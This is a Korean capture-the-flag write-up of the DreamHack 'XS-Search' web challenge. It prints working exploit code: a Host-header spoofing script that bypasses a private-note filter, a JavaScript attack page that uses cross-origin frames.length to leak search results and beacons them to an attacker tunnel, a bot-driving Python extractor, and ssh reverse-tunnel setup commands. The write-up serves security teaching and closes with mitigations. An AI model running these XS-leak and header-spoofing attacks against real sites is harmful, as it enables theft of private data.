문제: DreamHack — XS-Search 분류: web 난이도: 🥇 Gold 3 FLAG:
DH{22d1445ad68e194e044a16dc644371f3}
문제 설명은 두 줄이다. "Exercise: XS-Search에서 실습하는 문제입니다." 그리고 플래그 포맷이 DH{[0123456789abcdef]{32}} 라는 것.
포맷을 알려 준 게 사실상 절반이다. 접두사를 한 글자씩 늘려 가며 맞았는지 물어볼 수 있는 수단만 있으면, 16개 후보를 32번 반복해서 전부 복원할 수 있다는 뜻이니까.

문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | XS-Search |
| 난이도 | 🥇 Gold 3 |
| 분류 | web |
| 스택 | Flask 2.x + Jinja2, Selenium(headless Chrome), python:3.10-slim-buster |
| 구성 | app.py 86줄 · 템플릿 4개 · 봇 리포트 엔드포인트 /submit |
| 핵심 취약점 | 검색 매치 여부가 DOM 프레임 개수로 새는 XS-leak. 덤으로 and 로 엮인 접근 제어 조건 |
푼 흐름은 이렇다. 소스를 읽다가 접근 제어 조건이 이상해서 먼저 그쪽으로 flag 를 땄고, 문제 이름이 XS-Search 인 만큼 의도된 XS-leak 도 끝까지 구현해서 같은 값이 나오는지 확인했다.
🧩 배경 — 교차 출처에서도 읽히는 값이 있다
동일 출처 정책(SOP)은 다른 출처의 문서를 읽지 못하게 막는다. 우리 페이지에 <iframe src="http://다른곳/"> 을 박아 놓아도, contentDocument 에 손대면 SecurityError 가 난다. 응답 본문, 헤더, 상태 코드, 길이 — 전부 안 보인다.
그런데 전부는 아니다. window 객체에는 교차 출처에서도 접근이 허용되는 프로퍼티가 몇 개 있다. postMessage, closed, location(쓰기만), 그리고 length.
window.length 는 그 창 안에 들어 있는 하위 프레임의 개수다. frames.length 와 같은 값이다. 왜 허용되어 있냐면 window.frames[0] 같은 접근을 위해 프레임 인덱싱이 필요하고, 개수 자체는 "문서 내용"이 아니라고 보기 때문이다.
문제는 개수도 정보라는 것이다. 대상 페이지가 어떤 조건에서만 iframe 을 하나 더 그린다면, 우리는 그 조건의 참·거짓을 밖에서 읽을 수 있다. 이게 frame counting XS-leak 이고, 이 문제의 search.html 이 정확히 그 모양을 하고 있다.
{% if result %}
<h3>Searching "{{ query }}" found</h3>
<iframe srcdoc="<pre>{{ result }}</pre>"></iframe>
{% elif query %}
<h3> Searching "{{ query }}" not found</h3>
{% endif %}매치하면 iframe 이 생기고, 못 찾으면 안 생긴다. frames.length 가 1 이냐 0 이냐로 갈린다.
🔬 코드 정찰 — app.py 는 86줄이 전부다
배포본에는 Dockerfile 과 deploy/ 만 들어 있다. Flask 앱 하나, 템플릿 넷, 부트스트랩 정적 파일. 로직이 있는 곳은 app.py 뿐이다.
노트 저장소는 파이썬 set 하나다.
FLAG = open("./flag.txt", "r").read()
notes = {
(FLAG, True),
("Hello World", False),
("DreamHack", False),
("carpe diem, quam minimum credula postero", False)
}두 번째 원소가 private 여부다. flag 만 True 다.
검색 라우트는 이렇게 생겼다.
@app.route('/search')
def search():
query = request.args.get('query', None)
if query == None:
return render_template("search.html", query=None, result=None)
for note, private in notes:
if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
continue
if query != "" and query in note:
return render_template("search.html", query=query, result=note)
return render_template("search.html", query=query, result=None)매칭은 query in note — 부분 문자열이다. 접두사를 한 글자씩 늘려 가며 물어보기에 딱 맞는 형태다.
검색 폼은 GET 하나짜리다.

공개 노트는 밖에서도 잘 검색된다. 매치하면 결과가 iframe srcdoc 안에 담겨 나오는 걸 화면에서도 확인할 수 있다. 아래 캡쳐에서 "DreamHack" 글자를 감싸고 있는 네모난 테두리가 그 iframe 이다.

flag 접두사로 바꾸면 못 찾는다. private 노트가 루프 안에서 continue 로 걸러졌기 때문이다.

남은 엔드포인트는 봇이다. URL 을 넣으면 컨테이너 안의 headless Chrome 이 그 주소를 3초간 열어 본다.
def read_url(url, cookie={"name": "name", "value": "value"}):
...
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get(url)
봇은 컨테이너 안에서 도니까 http://127.0.0.1:8000/search 를 열면 remote_addr 이 루프백이 된다. 즉 봇이 검색하면 flag 노트가 검색 대상에 들어간다. 다만 봇은 결과를 우리에게 알려 주지 않는다. 그 결과를 밖으로 빼내는 게 이 문제의 본체다.
🕳️ 곁길 — 제외 조건이 and 로 이어져 있다
여기서 한 번 더 조건식을 봤다. 제외 조건이 이렇게 생겼다.
if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
continue"루프백에서 왔고 그리고 Host 가 127.0.0.1:8000 이어야 flag 가 보인다"로 읽기 쉽다. 나도 처음엔 그렇게 읽었다. 그런데 이건 제외 조건이다. 부정을 씌워야 통과 조건이 된다.
제외 = private ∧ (remote_addr ≠ 127.0.0.1) ∧ (Host ≠ 127.0.0.1:8000)
통과 = ¬제외 = (remote_addr = 127.0.0.1) ∨ (Host = 127.0.0.1:8000)and 세 개짜리 조건에 드모르간을 걸면 or 가 나온다. 둘 다 맞을 필요가 없다. 하나만 맞으면 된다.
그리고 Host 는 요청 헤더다. 브라우저는 못 바꿔도 curl 은 바꾼다.

먼저 로컬에서 확인했다. 배포본을 그대로 컨테이너에 올리고 포트를 매핑하면 remote_addr 이 도커 게이트웨이(172.17.0.1)가 되니, 외부에서 접근하는 것과 같은 조건이 된다.
#!/bin/bash
# app.py:65 의 skip 조건이 정말 OR 로 풀리는지 로컬 컨테이너(remote_addr=172.17.0.1)로 확인한다.
# skip = private and remote_addr != 127.0.0.1 and Host != 127.0.0.1:8000
# include = remote_addr == 127.0.0.1 OR Host == 127.0.0.1:8000
T=http://127.0.0.1:9000/search
echo "### [A] 그냥 외부 요청 (Host: 127.0.0.1:9000)"
curl -s "$T?query=DH%7B" | grep -E "found|<pre>"
echo
echo "### [B] Host 헤더만 127.0.0.1:8000 으로 위조"
curl -s -H 'Host: 127.0.0.1:8000' "$T?query=DH%7B" | grep -E "found|<pre>"
echo
echo "### [C] 대조군 — 공개 노트는 [A] 에서도 보인다"
curl -s "$T?query=DreamHack" | grep -E "found|<pre>"
[A] 는 not found, [B] 는 found + 더미 flag 전문, [C] 는 대조군. 조건 해석이 맞았다.
라이브에 그대로 던졌다.

DH{22d1445ad68e194e044a16dc644371f3}. 봇도, iframe 도, 오라클도 없이 요청 한 번이었다.
제출은 통과했다. 그런데 문제 이름이 XS-Search 다. 이건 출제자가 의도한 길이 아니다.
🐛 삽질
▶🐛 삽질 1 — 공격 페이지를 우리 사이트에 올렸다가 CSP 에 막혔다
의도된 해법을 하려면 봇에게 먹일 공격 페이지를 인터넷 어딘가에 올려야 한다. 마침 zino.kr 이 있으니 Next.js public/ 에 HTML 하나 떨궈 놓으면 되겠다 싶었다.
안 된다. 이 사이트는 자체 CSP 를 script-src 'self' 'nonce-...' 'strict-dynamic' 으로 잠가 놨고, public/ 에서 서빙되는 정적 파일에도 같은 헤더가 붙는다. nonce 없는 인라인 <script> 는 실행 자체가 차단된다. 봇 브라우저 콘솔에는 CSP 위반만 찍히고 iframe 은 만들어지지도 않는다.
CSP 를 우회하려고 운영 nginx 에 헤더가 안 붙는 정적 location 을 뚫는 것도 방법이긴 한데, 그건 우리 사이트에 CSP 없는 구멍을 하나 열어 두는 것이고 훔친 값이 운영 로그에 남는다. 그래서 공격자 서버는 아예 밖으로 뺐다 — 격리된 NAS Kali VM 에 python3 -m http.server 를 띄우고 localhost.run 터널로 노출한다.
ssh kali 'cd ~/atk_xs && setsid nohup python3 -m http.server 8898 --bind 0.0.0.0 \
> ~/atk_xs/access.log 2>&1 < /dev/null & disown'
ssh kali 'tmux new-session -d -s lhr "ssh -R 80:localhost:8898 nokey@localhost.run"'비컨 로그도 운영 nginx 가 아니라 이 서버의 access.log 에서 읽는다.
curl -sI https://zino.kr/ads.txt | grep -i 'content-security-policy' | cut -c1-150
echo
curl -sI https://0be0be4eda8202.lhr.life/wargame-attacker/xs.html | grep -iE 'HTTP|content-security-policy|content-type'
풀고 나서 터널과 서버를 내리고 VM 도 껐다. 임시 터널 주소는 세션이 끝나면 사라지므로 뒤에 남는 게 없다.
▶🐛 삽질 2 — 봇 컨테이너 아웃바운드를 태워 먹고 한 주를 날렸다
이 문제는 이번에 처음 붙은 게 아니다. 지난주에 오라클까지 만들어서 Hello → 1, ZZZZ_NO_MATCH → 0 까지 라이브로 확인했는데, 그 직후부터 봇이 우리 서버로 아무것도 안 보내기 시작했다.
/submit 응답은 계속 alert("good") 이었다. 셀레니움이 죽은 게 아니라는 뜻이다. 그런데 nginx 액세스 로그에는 봇의 요청이 한 건도 안 찍혔다. webhook.site 로 바꿔 봐도, JS 없이 순수 <img> 태그만 있는 페이지로 바꿔 봐도 마찬가지였다.
봇 IP(23.81.42.210)가 우리 쪽 차단에 걸린 건 아닌지부터 확인했다. 아니었다. 짧은 시간에 헤드리스 크롬을 20번 넘게 띄운 게 컨테이너 리소스나 아웃바운드 쪽을 고갈시킨 것으로 보인다.
컨테이너를 새로 만들면 되는데 그 주 VM 크레딧을 이미 다 써서 새 인스턴스를 못 만들었다. 크레딧은 월요일에만 충전된다. 그래서 그대로 묶였다.
이번에는 새 인스턴스로 시작했고, /submit 호출 사이에 5초씩 쉬면서 33번을 돌렸다. 재발하지 않았다. 봇을 쓰는 문제는 요청 간격이 곧 성공률이다.
💣 의도된 해법 — 프레임 개수 세기
정리하면 이렇다. 봇은 flag 를 검색할 수 있지만 결과를 말해 주지 않는다. 우리는 봇의 브라우저 안에서 코드를 돌릴 수 있지만 교차 출처라 응답을 못 읽는다. 겹치는 지점이 frames.length 하나다.

봇이 우리 페이지를 열면, 그 페이지가 http://127.0.0.1:8000/search?query=<후보> 를 iframe 으로 띄운다. 봇의 브라우저가 보내는 요청이니 remote_addr 은 루프백이고 flag 노트가 검색된다. 매치하면 결과 페이지 안에 srcdoc iframe 이 하나 생기고, 그 순간 바깥에서 읽는 frames.length 가 0 에서 1 로 바뀐다.
먼저 봇 없이 로컬에서만 재현해 봤다. 배포본을 127.0.0.1:8001 에 띄우고(호스트에서 직접 실행하면 브라우저 요청의 remote_addr 이 루프백이라 봇과 같은 조건이 된다), 공격 페이지는 127.0.0.1:9100 에서 서빙한다. 포트가 다르면 출처도 다르다.
<script>
// 표적 검색 페이지는 매치했을 때만 <iframe srcdoc=...> 를 심는다.
// 교차 출처라 본문은 못 읽지만 window.length(=frames.length) 는 언제나 읽힌다.
// 그 값 하나로 "이 접두사가 flag 에 들어 있나"를 묻는 오라클을 만든다.
const TARGET = 'http://127.0.0.1:8001/search?query=';
const CHARS = '0123456789abcdef}'.split('');
const out = document.getElementById('out');
function probe(q) {
return new Promise(res => {
const f = document.createElement('iframe');
f.src = TARGET + encodeURIComponent(q);
f.onload = () => {
const n = f.contentWindow.frames.length; // ← 교차 출처에서도 읽히는 유일한 값
f.remove();
res(n);
};
document.body.appendChild(f);
});
}
(async () => {
let prefix = 'DH{';
for (let pos = 0; pos < 40; pos++) {
const counts = await Promise.all(CHARS.map(c => probe(prefix + c)));
const hit = CHARS.filter((c, i) => counts[i] > 0);
const line = CHARS.map((c, i) =>
`<span class="${counts[i] > 0 ? 'hit' : 'miss'}">${c}:${counts[i]}</span>`).join(' ');
out.innerHTML += `[${String(pos).padStart(2, '0')}] ${prefix.padEnd(36)} ${line}\n`;
if (hit.length !== 1) { out.innerHTML += ' ! 한 글자로 안 좁혀짐\n'; return; }
prefix += hit[0];
if (hit[0] === '}') break;
}
document.getElementById('flag').textContent = 'FLAG = ' + prefix;
})();
</script>브라우저를 열자마자 한 줄씩 채워진다. 매 줄에서 후보 17개 중 정확히 하나만 1 이 뜬다.

끝까지 돌면 32자리를 전부 복원한다. 로컬 flag.txt 에 넣어 둔 더미 값과 일치한다.

기법이 도는 걸 확인했으니 이제 봇에게 시킬 차례다.
🎯 익스플로잇 — 봇을 33번 부른다
봇 페이지는 로컬 재현본과 구조가 같다. 다른 건 두 가지다. 결과를 화면에 못 그리니 img 비컨으로 우리 서버에 흘려야 하고, 봇 호출 횟수를 줄여야 하니 후보 17개를 한 번의 방문에서 동시에 잰다.
<script>
// XS-Search 공격 페이지.
// ?p=<지금까지 확정한 접두사>&s=<세션 태그>
// 한 번의 봇 방문에서 후보 17개(0-9a-f 와 '}')를 iframe 으로 동시에 띄우고,
// 각 iframe 의 frames.length 를 읽어 hit/miss 를 비컨으로 흘린다.
(function () {
var qs = new URLSearchParams(location.search);
var prefix = qs.get('p') || 'DH{';
var sid = qs.get('s') || 'x';
var CHARS = '0123456789abcdef}'.split('');
var BASE = 'http://127.0.0.1:8000/search?query=';
function beacon(msg) {
var img = new Image();
img.src = '/wargame-attacker/b.gif?s=' + encodeURIComponent(sid) +
'&m=' + encodeURIComponent(msg) + '&z=' + Math.random();
}
beacon('start|' + prefix);
CHARS.forEach(function (c) {
var q = prefix + c;
var f = document.createElement('iframe');
f.style.display = 'none';
f.src = BASE + encodeURIComponent(q);
f.onload = function () {
var n;
try { n = f.contentWindow.frames.length; } catch (e) { n = 'ERR'; }
beacon('r|' + q + '|' + n);
};
document.body.appendChild(f);
});
})();
</script>봇의 페이지 로드 타임아웃이 3초라 그 안에 iframe 17개가 뜨고 비컨 17개가 나가야 한다. 표적이 같은 컨테이너의 루프백이라 왕복이 빨라서 여유 있게 들어간다.
비컨은 nginx 액세스 로그에 그대로 남는다. 후보별 값으로 되돌리는 스크립트는 이렇다.
#!/usr/bin/env python3
"""봇이 흘린 비컨(nginx 액세스 로그)을 후보별 frames.length 표로 되돌린다."""
import re
import subprocess
import sys
import urllib.parse
sid = sys.argv[1] if len(sys.argv) > 1 else "p0"
log = subprocess.run(["ssh", "kali", f"cat {LOG}"],
capture_output=True, text=True).stdout
rows, ip = [], ""
for line in log.splitlines():
m = re.search(r"GET /wargame-attacker/b\.gif\?([^ ]+)", line)
if not m:
continue
qs = urllib.parse.parse_qs(m.group(1))
if qs.get("s", [""])[0] != sid:
continue
ip = line.split()[0]
parts = qs.get("m", [""])[0].split("|")
if parts[0] == "r":
rows.append((parts[1], parts[2]))
print(f"봇 egress IP = {ip} (세션 태그 {sid})")
print(f"{'query':<8}{'frames.length':>14} 판정")
for q, n in sorted(rows):
print(f"{q:<8}{n:>14} {'← 매치! 이 글자다' if n != '0' else 'miss'}")첫 방문 결과다. 봇의 egress IP 까지 같이 찍히니 "우리가 로컬에서 만든 값"이 아니라 실제로 챌린지 서버 쪽에서 나온 요청이라는 게 드러난다.

16개가 0 이고 DH{2 하나만 1 이다. 첫 글자는 2.
나머지는 이걸 32번 돌리면 된다. 드라이버 전문이다.
#!/usr/bin/env python3
"""XS-Search(443) 의도된 해법 — frame counting XS-leak 로 flag 를 한 글자씩 복원한다.
봇(/submit)에게 우리 페이지를 열게 하면, 그 페이지가 봇의 브라우저 안에서
http://127.0.0.1:8000/search?query=<후보> 를 iframe 으로 띄운다.
검색이 매치하면 결과 페이지에 <iframe srcdoc=...> 가 하나 생기므로
교차 출처에서도 읽히는 frames.length 가 1 이 되고, 못 맞추면 0 이다.
그 값을 img 비컨으로 우리 nginx 로그에 흘려 받는다.
봇 컨테이너를 아끼기 위해 후보 17개(0-9a-f, '}')를 한 번의 방문에서 동시에 재고,
방문 사이에는 최소 5초를 쉰다.
"""
import re
import subprocess
import sys
import time
import urllib.parse
import urllib.request
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:18313"
ATTACKER = os.environ["WG_ATTACKER"] + "/wargame-attacker/xs.html" # Kali VM + 터널
LOG = "~/atk_xs/access.log" # 그 서버의 접근 로그
CHARS = "0123456789abcdef}"
def read_log():
out = subprocess.run(["sudo", "-n", "cat", LOG], capture_output=True, text=True)
return out.stdout
def beacons_for(sid, since_len):
"""sid 태그가 붙은 비컨만 골라 (query, frames.length) 로 돌려준다."""
text = read_log()[since_len:]
got = {}
for line in text.splitlines():
m = re.search(r"GET /wargame-attacker/b\.gif\?([^ ]+)", line)
if not m:
continue
qs = urllib.parse.parse_qs(m.group(1))
if qs.get("s", [""])[0] != sid:
continue
msg = qs.get("m", [""])[0]
parts = msg.split("|")
if parts[0] == "r" and len(parts) == 3:
got[parts[1]] = parts[2]
return got
def visit(url):
"""봇에게 URL 을 방문시킨다. 응답의 alert 문구가 성공/실패를 알려준다."""
body = urllib.parse.urlencode({"url": url}).encode()
req = urllib.request.Request(TARGET + "/submit", data=body,
headers={"Content-Type": "application/x-www-form-urlencoded"})
with urllib.request.urlopen(req, timeout=30) as r:
return r.read().decode(errors="replace").strip()
def probe(prefix, sid, wait=6.0):
mark = len(read_log())
url = f"{ATTACKER}?p={urllib.parse.quote(prefix)}&s={sid}"
t0 = time.time()
resp = visit(url)
time.sleep(wait)
got = beacons_for(sid, mark)
print(f" bot={resp[:40]!r} {time.time()-t0:.1f}s 비컨 {len(got)}개")
return got
def main():
prefix = "DH{"
for pos in range(40):
sid = f"p{pos}"
print(f"[{pos:2d}] prefix={prefix!r}")
got = probe(prefix, sid)
hits = [q[-1] for q, n in got.items() if n not in ("0", "ERR")]
misses = sum(1 for n in got.values() if n == "0")
print(f" miss={misses} hit={hits}")
if len(hits) != 1:
print(" ! 한 글자로 좁혀지지 않음 — 중단하고 로그 확인")
return 1
prefix += hits[0]
print(f" => {prefix}")
if hits[0] == "}":
print(f"\nFLAG = {prefix}")
return 0
time.sleep(5)
return 1
if __name__ == "__main__":
sys.exit(main())33라운드 동안 한 번도 흔들리지 않았다. 매 라운드 비컨 17개가 다 도착했고, miss=16 / hit=1글자 가 그대로 유지됐다. 봇 왕복은 회당 7.9초.
tail -18 xsleak_run.log
DH{22d1445ad68e194e044a16dc644371f3}. Host 헤더로 얻은 값과 한 글자도 다르지 않다. 응답 본문을 한 번도 읽지 않고, 정수 한 개짜리 신호만 561번(17 × 33) 받아서 32자리 hex 를 전부 복원했다.
🚀 Full Exploit
라이브 서버 주소만 주면 끝나는 쪽은 이렇게 짧다.
#!/usr/bin/env python3
"""XS-Search(443) — Host 헤더 하나로 private 노트 필터를 통과시켜 flag 를 읽는다.
app.py 의 제외 조건이 and 로 이어져 있어서, 드모르간을 풀면
'remote_addr 이 루프백이거나 **또는** Host 가 127.0.0.1:8000 이면' 검색 대상에 들어간다.
Host 는 우리가 정하는 요청 헤더다.
python3 solve.py http://host3.dreamhack.games:15703
"""
import re
import sys
import urllib.request
TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:15703").rstrip("/")
req = urllib.request.Request(
TARGET + "/search?query=DH%7B",
headers={"Host": "127.0.0.1:8000"}, # ← 이 한 줄이 전부다
)
html = urllib.request.urlopen(req, timeout=20).read().decode()
print("[*] 대상 :", TARGET)
print("[*] 응답에서 결과 영역만:")
for line in html.splitlines():
if "found" in line or "<pre>" in line:
print(" ", line.strip())
m = re.search(r"DH\{[0-9a-f]{32}\}", html)
print("\n[+] FLAG =", m.group(0) if m else "(못 찾음)")
sys.exit(0 if m else 1)
urllib 로 Host 헤더를 덮어쓰면 urlopen 이 그대로 실어 보낸다. 연결은 여전히 host3.dreamhack.games 로 가고, 헤더만 루프백인 척한다.
의도된 경로를 그대로 재현하려면 위의 xsleak.py 와 xs.html 이 필요하다. 공격 페이지를 CSP 없는 경로에 올려 두고, 그 origin 의 액세스 로그를 읽을 수 있으면 그대로 돈다.
📝 결론
교차 출처에서 새는 건 본문만이 아니다
SOP 는 "다른 출처의 문서를 못 읽게" 막지, "다른 출처에 대해 아무것도 못 알게" 막지 않는다. frames.length, 로드 성공/실패, 응답 시간, 리소스 개수 — 전부 관측 가능한 부수 효과다.
조건에 따라 DOM 모양이 바뀌는 페이지는 그 자체로 오라클이 된다. 이 문제에서는 "매치했을 때만 iframe 을 하나 더 그린다"는 무해해 보이는 렌더링 분기가 flag 전체를 흘렸다.
막으려면 프레임에 못 넣게 하거나, 쿠키를 안 붙게 해야 한다
X-Frame-Options: DENY 나 Content-Security-Policy: frame-ancestors 'none' 을 붙이면 남의 페이지에서 iframe 으로 열리지 않는다. 오라클의 전제가 무너진다.
세션 기반이라면 SameSite=Lax(기본값) 이상으로 쿠키가 교차 사이트 하위 요청에 안 붙게 하는 게 근본 대책이다. 이 문제는 세션이 아니라 IP 로 권한을 갈랐기 때문에 그쪽이 아니라 프레이밍 차단이 맞는 처방이다.
Cross-Origin-Opener-Policy / Cross-Origin-Resource-Policy 도 같은 계열의 격리 수단이다.
Host 헤더는 인증 재료가 아니다
request.headers.get("HOST") 는 클라이언트가 보낸 값이다. remote_addr 은 (프록시가 없다면) 커널이 알려 주는 값이라 못 속이지만, Host 는 curl 한 줄이면 바뀐다. 접근 제어에 이 둘을 나란히 놓는 순간 약한 쪽이 전체 강도를 결정한다.
논리 연산자는 부정을 씌워서 한 번 더 읽는다
if A and B and C: continue 처럼 제외 조건을 길게 이어 쓰면, 읽는 사람 머릿속에서는 통과 조건이 and 로 남기 쉽다. 실제로는 드모르간에 의해 or 다. 이 문제는 그 한 글자 때문에 33번짜리 XS-leak 이 1번짜리 curl 로 줄었다.
접근 제어를 쓸 때는 제외가 아니라 허용을 명시적으로 적는 편이 안전하다. if not (remote_addr == LOOPBACK): continue 처럼.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…